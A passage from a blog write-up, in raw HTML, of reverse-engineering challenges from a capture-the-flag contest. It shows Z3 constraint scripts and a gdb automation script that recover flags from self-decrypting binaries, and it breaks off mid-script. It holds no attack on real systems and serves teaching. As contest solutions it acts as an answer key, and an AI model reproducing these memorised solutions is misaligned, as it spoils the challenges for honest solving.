31010</p>\n</blockquote>\n<p>This one was a brutal fight.</p>\n<p>Decompiling the binary shows that it takes three input values and performs multiple operations on each of them.</p>\n<p>After several stages of validation on each value, the inputs bear and volcano are eventually passed into the following three functions.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 399px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/691e275ea35ca37e5617250f989def57/a307d/image.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 83.33333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAA7DAAAOwwHHb6hkAAACQElEQVQ4y41U246bMBTM3/e1/9APqlpp20q7KbmQAAGMbbAxBjwdk026l+zF0sGA8HjmzJjVOBq0bY/jIaCsgDwLqMqAUwGUZYveFejaA9pOI44QwlJvjZUfJJSy2G6A/R5I1px3YXlO0wKtXkNriXEcPweoVCBgxxKo6xJdZ+DchHkC5nnm4nmZCXUGO8O+CbqKF9fXELVHkgDHI7BNAvI8zpRd5ZS844YpjLXPWMbN/ld8XgADTCfRCEfJI7JsRLqbUZ6AjOCNOFLyAcMw4uMRzgxlQ9m6gZSCAIIG9JQN9i1gIo73wDQNS83zyNlhmj0mf4/Z/uD9T4z+dGEYR4++lzikWGQfDsCvu4D134BNNGvnIJoNN0wofc9KIPUeuv4Gtf0Cqb7y3XfEVi+AnnK07rigpcweovQoMjIX5zJt7LPC4FjceBg0FciFhO0bWOtw8Wjp4URHRR0z6FDJE45qBzsqmCBg5xbaK/SU2VOy9h0Gf6Ofj0atLva7fkCRV1BdjrItUAqLh71BXis8NPdIdcY6ojAn5E1Otu4RZ36WzSugtZ69a8m0Rm8YaCVRnTpsqww5XRY6RcMTI2UObTuqml5E6Ap4tpvr8ec3pVN7y9x1HbNHRsZbuu0Z9FiW/bZsfriCvQr25eXgDNklsEZAGjbeGwLMbycu3Aa9ArZ65Omguzwi2+2OBpX8OdQMevGM0VN5NxnGS5Tkh2nJUfzIM8nx/F7qPYCbks+Ovf/xZ8AWwMENrxg8lfaRxJfjH52ZLU+HrnywAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/691e275ea35ca37e5617250f989def57/8ac56/image.webp 240w,\n/static/691e275ea35ca37e5617250f989def57/66086/image.webp 399w\"\n              sizes=\"(max-width: 399px) 100vw, 399px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/691e275ea35ca37e5617250f989def57/8ff5a/image.png 240w,\n/static/691e275ea35ca37e5617250f989def57/a307d/image.png 399w\"\n            sizes=\"(max-width: 399px) 100vw, 399px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/691e275ea35ca37e5617250f989def57/a307d/image.png\"\n            alt=\"img\"\n            title=\"img\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>These constraints were extremely complicated to solve directly with Z3, and I struggled with them quite a bit, but in the end I realized that if bear and volcano are equal, I can ignore the actual implementations of these functions.</p>\n<p>As a result, I was able to recover the flag with the following simple constraints.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">from</span> math <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\ni1 <span class=\"token operator\">=</span> BitVec<span class=\"token punctuation\">(</span><span class=\"token string\">'i1'</span><span class=\"token punctuation\">,</span> <span class=\"token number\">64</span><span class=\"token punctuation\">)</span>\ni2 <span class=\"token operator\">=</span> BitVec<span class=\"token punctuation\">(</span><span class=\"token string\">'i2'</span><span class=\"token punctuation\">,</span> <span class=\"token number\">64</span><span class=\"token punctuation\">)</span>\ni3 <span class=\"token operator\">=</span> Int<span class=\"token punctuation\">(</span><span class=\"token string\">'i3'</span><span class=\"token punctuation\">)</span>\n\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">></span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i2 <span class=\"token operator\">></span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i3 <span class=\"token operator\">></span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># bear</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">%</span> <span class=\"token number\">2</span> <span class=\"token operator\">==</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token comment\"># &amp; は NG</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">%</span> <span class=\"token number\">3</span> <span class=\"token operator\">==</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">%</span> <span class=\"token number\">5</span> <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">%</span> <span class=\"token number\">7</span> <span class=\"token operator\">==</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">%</span> <span class=\"token number\">0x6d</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># volcano</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>volcano<span class=\"token punctuation\">(</span>i2<span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># volcano = bear</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i1 <span class=\"token operator\">==</span> i2<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># v3</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i3 <span class=\"token operator\">%</span> <span class=\"token number\">2</span> <span class=\"token operator\">!=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>i3 <span class=\"token operator\">!=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n\nresult <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">if</span> s<span class=\"token punctuation\">.</span>check<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> sat<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n       <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>a<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n       result<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span>s<span class=\"token punctuation\">.</span>model<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span>a<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"unsat\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>By sending the computed input values to the challenge server, I was able to get the flag.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 794px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/8a23b16729b70550f6dd9fdc37f2f839/7de01/image-20230716055922823.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 20.833333333333336%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyElEQVQI102N3QqCQBBGvbMSrYv+KLposyzDnV1XK63ErF0jsHIvqvd/ktYiCA4z3zAcPi2HVNAsw0mOU7HIZCTLSD7TZ+YcPGuJv5hLz3TDNkQdvO2RbRf2A58YU03ScwmicA+vdVECf6wu0hd34BxFtI5IDZHfhBrCCr3C08ekYWuPTXEDfidCsrMKV8xPKE6GQToKkyFTDbs+PY43cZdAw1YCNaZfKllMYrV8c8Ysh5kOs+ZBsyJsuWFrEajTclRQL/KR/3kD5nUqC58DPewAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/8a23b16729b70550f6dd9fdc37f2f839/8ac56/image-20230716055922823.webp 240w,\n/static/8a23b16729b70550f6dd9fdc37f2f839/d3be9/image-20230716055922823.webp 480w,\n/static/8a23b16729b70550f6dd9fdc37f2f839/ae710/image-20230716055922823.webp 794w\"\n              sizes=\"(max-width: 794px) 100vw, 794px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/8a23b16729b70550f6dd9fdc37f2f839/8ff5a/image-20230716055922823.png 240w,\n/static/8a23b16729b70550f6dd9fdc37f2f839/e85cb/image-20230716055922823.png 480w,\n/static/8a23b16729b70550f6dd9fdc37f2f839/7de01/image-20230716055922823.png 794w\"\n            sizes=\"(max-width: 794px) 100vw, 794px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/8a23b16729b70550f6dd9fdc37f2f839/7de01/image-20230716055922823.png\"\n            alt=\"image-20230716055922823\"\n            title=\"image-20230716055922823\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<h2 id=\"headacherev\" style=\"position:relative;\"><a href=\"#headacherev\" aria-label=\"headacherev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>headache(Rev)</h2>\n<blockquote>\n<p>Ugh… my head hurts… Flag is amateursCTF{[a-zA-Z0-9_]+}</p>\n</blockquote>\n<p>Decompiling the provided ELF file in Ghidra gives a fairly simple output.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 562px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/0b8c3e91d97ebc69ad41941456a2cc74/6e88f/image-20230720221214463.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 123.33333333333331%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAAAsTAAALEwEAmpwYAAADFElEQVQ4y5VVPYsTURSdHycIIiJYCBaCNnZWVnZWdnaC+IGysIUgCBaCINiKrcVKzG42yXx/ZebN95t573hmkl03u5vd7JCTN3lkzjv33nPvGA8/HOLaqxluvp3h+usxbr0b4cabEe7ujHF/dx+3+fvO+xHu7fzFg90xHn0c4/GnfTz5fICnXyZ49nWC598O8eL7FC9/TGGM/uzhwPqJifOLa4CJXeHALjBzc8z9HHZcwF0s4SVL+ESQ9igREpFYIiYMbzpCnv5Gke2hqSrUBZYoNapC46qX4fkhGgm0nUan2tW2XoHfWkMReksYvufB9zXCMEWamqiqomc5JjvSqPV2ao0oCmGaQBAICDHFYmHCjx2qlv9JTwDDR288wAjDgGRAKgoUuYumKVC1FbpOnfuAXjJuVujYPUmOuhaQTYk871CWGPaaJkNRhKirDKISyPtqXabQcz2EQYu5mcPPU7hBCcdW8BcuotRHK6m2lWjaBpLrUt0FhI5tw2YODyYSMxHDTQScORAmvCfpmZAvKY5hWTYVApPDFrPIhRVFmHIjyvowKxanGVS2VNgptVaocwldhpwkOQtTwrY0HKeGlzLcLEacM7ck7HNZ1zkL1V2q0nAcl/4raJlDRPSi6WZwghCC7SVZcdW1x0Rbhew4DqTUiBlqkkTw/BJ+WCPL1Kr6vbpqjexChbbtDI0RR4qFCBHQi1kpcNpsW3eKZVkMTTPcDkqxn7Uakq+ItQ65pBjHhKZpDQo9VyPJcsRVhJQK5YnWu9K06Qmbup8y6lzPbcLp4bFWlGRBI0ctCpmhlOVaVTddG31omnP2rmJVG2T1AqJMUdU0c8t8DpZpV8aumdtuaMHzcnq00tguB4JG4AuSprRKzYEg6U1NuxREygMjDogEJYfHIl+wt7sTg3hdrWHZFk9Xw4Rpu/b4T4oK25rTms/qHmoJDGu/rwdXnFE42IYFFUJTIediCq41qrRDTis1BQ+LO1QJIXifrPa4ylKdJZzP5gwLg8KyfzGxKaTscOEUvaBAhu/7p15MRydi6xfTSdJ/CGGSabZWj+sAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/0b8c3e91d97ebc69ad41941456a2cc74/8ac56/image-20230720221214463.webp 240w,\n/static/0b8c3e91d97ebc69ad41941456a2cc74/d3be9/image-20230720221214463.webp 480w,\n/static/0b8c3e91d97ebc69ad41941456a2cc74/49232/image-20230720221214463.webp 562w\"\n              sizes=\"(max-width: 562px) 100vw, 562px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/0b8c3e91d97ebc69ad41941456a2cc74/8ff5a/image-20230720221214463.png 240w,\n/static/0b8c3e91d97ebc69ad41941456a2cc74/e85cb/image-20230720221214463.png 480w,\n/static/0b8c3e91d97ebc69ad41941456a2cc74/6e88f/image-20230720221214463.png 562w\"\n            sizes=\"(max-width: 562px) 100vw, 562px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/0b8c3e91d97ebc69ad41941456a2cc74/6e88f/image-20230720221214463.png\"\n            alt=\"image-20230720221214463\"\n            title=\"image-20230720221214463\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>It only validates an input of length 0x3d using the <code class=\"language-text\">FUN_00401290</code> function.</p>\n<p>However, this is where things get nasty, because that function performs the following kind of processing.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 465px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    href=\"/static/3d70f189b873386a64a024dfb126902d/9ff85/image-20230720221310425.png\"\n    style=\"display: block\"\n    target=\"_blank\"\n    rel=\"noopener\"\n  >\n    <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 89.99999999999999%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAACgUlEQVQ4y52TT2vUUBTF5/u5UUFEQdy4qBs3rty48UMIhSpFkIKgldoiolJERN0UKmLbycwwM51mMplkkkz+vpeXnzejlLZ0nGLgcF9ekpNz7j2vsbTa4tJji+tP2lxZbnF5ucmNpxbXVixurjZZWrO49eyAqyt7cr/PbVnfeX7A3bUm9140uf/S4sG6xcONFo82WzQ2vnV4tdNm62ePjd0+6zsem7sebwRbPzw+7Hm8++Xx9tef+l7wUfa29z0+Hfh8bvp8sXy+tny+t30agdshdDdJg9dk4TZqilQopOZRRRIgGwb8GMKMRVfjcGATJwWmAl1COavVMZSuq0GrEq0Npbw4D0bQsO0jgklBHFdkmU9epAtVVFU1X6HrDhkNSzrtin4vxnUjptGRkCfHH5+Hk8/OEDqEE43vI9YnRLFDqYv/VtkYDm2msabIc3JpfBEogiSU/keoQhO7MYmXkmc5cSYO4jFFoeYrHAwG5LnBGRrsXs40iMhVRiEqq3oYqZqhVBpVKlKVynD0fMJe71AIY9I0Jcs1WVGKMmS6spaxF6YkKzXamItZ7vX6BIFYDIfy54woNIKKKEsZxQlBVuClolhic1bVuQr7/b5Exshka5We9CcVRGSyrkRZkE3wk7H0zpU2qMWx6XS6EkgthB2C8EjIp4zdJpPJAFMHW/qW63yG0pSLCWvL9dTG7kSs+0LoiOWu1LEo85nmU2LpsSnNQrK/lgckccjI8fE8xeAwFPIEx1H0nBGjyGEi+VRqflROEXa7XbGXYtsxYTCV+IyJIk0iByVLDZWpLnTkjglbljWLSx0tM4tGfUrqepro5GT/SWjbQyEqz2SMc8/tRa7fC2xkf2vV7c8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <picture>\n          <source\n              srcset=\"/static/3d70f189b873386a64a024dfb126902d/8ac56/image-20230720221310425.webp 240w,\n/static/3d70f189b873386a64a024dfb126902d/51ce3/image-20230720221310425.webp 465w\"\n              sizes=\"(max-width: 465px) 100vw, 465px\"\n              type=\"image/webp\"\n            />\n          <source\n            srcset=\"/static/3d70f189b873386a64a024dfb126902d/8ff5a/image-20230720221310425.png 240w,\n/static/3d70f189b873386a64a024dfb126902d/9ff85/image-20230720221310425.png 465w\"\n            sizes=\"(max-width: 465px) 100vw, 465px\"\n            type=\"image/png\"\n          />\n          <img\n            class=\"gatsby-resp-image-image\"\n            src=\"/static/3d70f189b873386a64a024dfb126902d/9ff85/image-20230720221310425.png\"\n            alt=\"image-20230720221310425\"\n            title=\"image-20230720221310425\"\n            loading=\"lazy\"\n            style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n          />\n        </picture>\n  </a>\n    </span></p>\n<p>Specifically, it XORs part of the binary data defined in the <code class=\"language-text\">.text</code> section and then executes the decrypted code.</p>\n<p>Inside the restored code, the following process is performed again.</p>\n<ol>\n<li>It checks whether the XOR of the a-th and b-th characters of the input matches a hard-coded byte value.</li>\n<li>If it matches, it restores the next block of executable code and jumps to that address.</li>\n</ol>\n<p>It looked solvable by writing a program to restore the extracted code from the binary, but this time I chose to recover the flag by automating gdb.</p>\n<p>By running the code below, you can extract every instance of the check “whether the XOR of the a-th and b-th characters of the input matches the hard-coded byte value.”</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># gdb -x run.py</span>\n<span class=\"token keyword\">import</span> gdb\n\nBINDIR <span class=\"token operator\">=</span> <span class=\"token string\">\"/home/ubuntu/Hacking/CTF/2023/amatureCTF/Rev/headache\"</span>\nBIN <span class=\"token operator\">=</span> <span class=\"token string\">\"headache\"</span>\nINPUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./in.txt\"</span>\nOUT <span class=\"token operator\">=</span> <span class=\"token string\">\"./out.txt\"</span>\n\n<span class=\"token comment\"># gdb.execute('dump binary memory execute.bin 0x4012a4 0x4012b8')</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'file {}/{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BINDIR<span class=\"token punctuation\">,</span> BIN<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x40438c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'set $ZF = 6'</span><span class=\"token punctuation\">)</span>\ngdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'run &lt; {} > {}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>INPUT<span class=\"token punctuation\">,</span> OUT<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nARCH <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>selected_frame<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>architecture<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"./gate.txt\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"w\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">while</span> <span class=\"token boolean\">True</span><span class=\"token punctuation\">:</span>\n        pc <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>selected_frame<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>pc<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        result <span class=\"token operator\">=</span> ARCH<span class=\"token punctuation\">.</span>disassemble<span class=\"token punctuation\">(</span>pc<span class=\"token punctuation\">,</span> count<span class=\"token operator\">=</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n        BREAK <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token string\">\"asm\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">8</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token number\">16</span><span class=\"token punctuation\">)</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>BREAK<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'continue'</span><span class=\"token punctuation\">)</span>\n        result <span class=\"token operator\">=</span> ARCH<span class=\"token punctuation\">.</span>disassemble<span class=\"token punctuation\">(</span>BREAK<span class=\"token punctuation\">,</span> count<span class=\"token operator\">=</span><span class=\"token number\">3</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">for</span> instr <span class=\"token keyword\">in</span> result<span class=\"token punctuation\">:</span>\n            f<span class=\"token punctuation\">.</span>write<span class=\"token punctuation\">(</span>instr<span class=\"token punctuation\">[</span><span class=\"token string\">\"asm\"</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span>\n            <span class=\"token comment\"># print(hex(instr[\"addr\"]), instr[\"asm\"])</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'n 3'</span><span class=\"token punctuation\">)</span>\n        eflags <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>parse_and_eval<span class=\"token punctuation\">(</span><span class=\"token string\">\"$eflags\"</span><span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">if</span> <span class=\"token keyword\">not</span> <span class=\"token string\">\"ZF\"</span> <span class=\"token keyword\">in</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>eflags<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'set $eflags ^= (1 &lt;&lt; $ZF)'</span><span class=\"token punctuation\">)</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'n'</span><span class=\"token punctuation\">)</span>\n\n        <span class=\"token comment\"># Call</span>\n        pc <span class=\"token operator\">=</span> gdb<span class=\"token punctuation\">.</span>selected_frame<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>pc<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'b *{}'</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>pc<span class=\"token operator\">+</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n        gdb<span class=\"token punctuation\">.</span>execute<span class=\"token punctuation\">(</span><span class=\"token string\">'c'</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>However, with just this result, all you can determine is that “the XOR of the a-th and b-th characters in the correct flag matches the hard-coded byte value.”</p>\n<p>So in the end I created the following script using the extracted conditions as constraints and recovered the flag with Z3.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">with</span> <span class=\"token builtin\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"note.txt\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">as</span> f<span class=\"token punctuation\">:</span>\n    data <span class=\"token operator\">=</span> f<span class=\"token punctuation\">.</span>readlines<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    i <span class=\"token operator\">=</span> <span class=\"token number\">0</span>\n    <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        a <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span>\n        b <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span>\n        c <span class=\"token operator\">=</span> data<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span>split<span class=\"token punctuation\">(</span><span class=\"token string\">\"\\n\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span>\n        <span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"s.add(flag[{}]^flag[{}] == {})\"</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">,</span> b<span class=\"token punctuation\">,</span> c<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">from</span> z3 <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\ns <span class=\"token operator\">=</span> Solver<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nflag <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>BitVec<span class=\"token punctuation\">(</span><span class=\"token string-interpolation\"><span class=\"token string\">f\"flag[</span><span class=\"token interpolation\"><span class=\"token 